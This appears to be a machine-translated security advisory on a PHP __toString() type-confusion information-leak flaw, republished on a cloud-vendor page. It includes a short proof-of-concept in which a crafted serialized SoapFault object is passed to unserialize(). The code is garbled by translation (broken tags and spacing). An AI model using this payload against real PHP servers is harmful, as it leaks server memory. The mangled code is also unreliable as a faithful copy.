PHP '_ toString ()' function type obfuscation Information Leakage Vulnerability

Source: Internet
Author: User

PHP '_ toString ()' function type obfuscation Information Leakage Vulnerability
PHP '_ toString ()' function type obfuscation Information Leakage Vulnerability


Release date:
Updated on:

Affected Systems:

PHP PHP

Description:

Bugtraq id: 74417

PHP is a widely used scripting language. It is especially suitable for Web development and can be embedded into HTML.

PHP has a type Obfuscation Vulnerability in the implementation of the '_ toString ()' function. Attackers can exploit this vulnerability to obtain vulnerability information.

<* Source: Taoguang Chen
*>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Taoguang Chen () provides the following test methods:

& Lt ;? Php
$ Data =
'O: 9: "SoapFault": 4: {s: 9: "faultcode"; I: 4298448493; s: 11: "faultstring"; I: 4298448543; s: 7: "'. "\ 0 * \ 0 ". 'File "; I: 4298447319; s: 7 :"'. "\ 0 * \ 0 ". 'line "; s: 4:" ryat ";}';
Echo unserialize ($ data );
? & Gt;

Suggestion:

Vendor patch:

PHP
---
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.php.net/downloads.php

Install LNMP in CentOS 6.3 (PHP 5.4, MyySQL5.6)

Nginx startup failure occurs during LNMP deployment.

Ubuntu install Nginx php5-fpm MySQL (LNMP environment setup)

Detailed php hd scanning PDF + CD source code + full set of teaching videos

Configure the php lnmp development environment in CentOS 6

PHP details: click here
PHP: click here

This article permanently updates the link address:

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.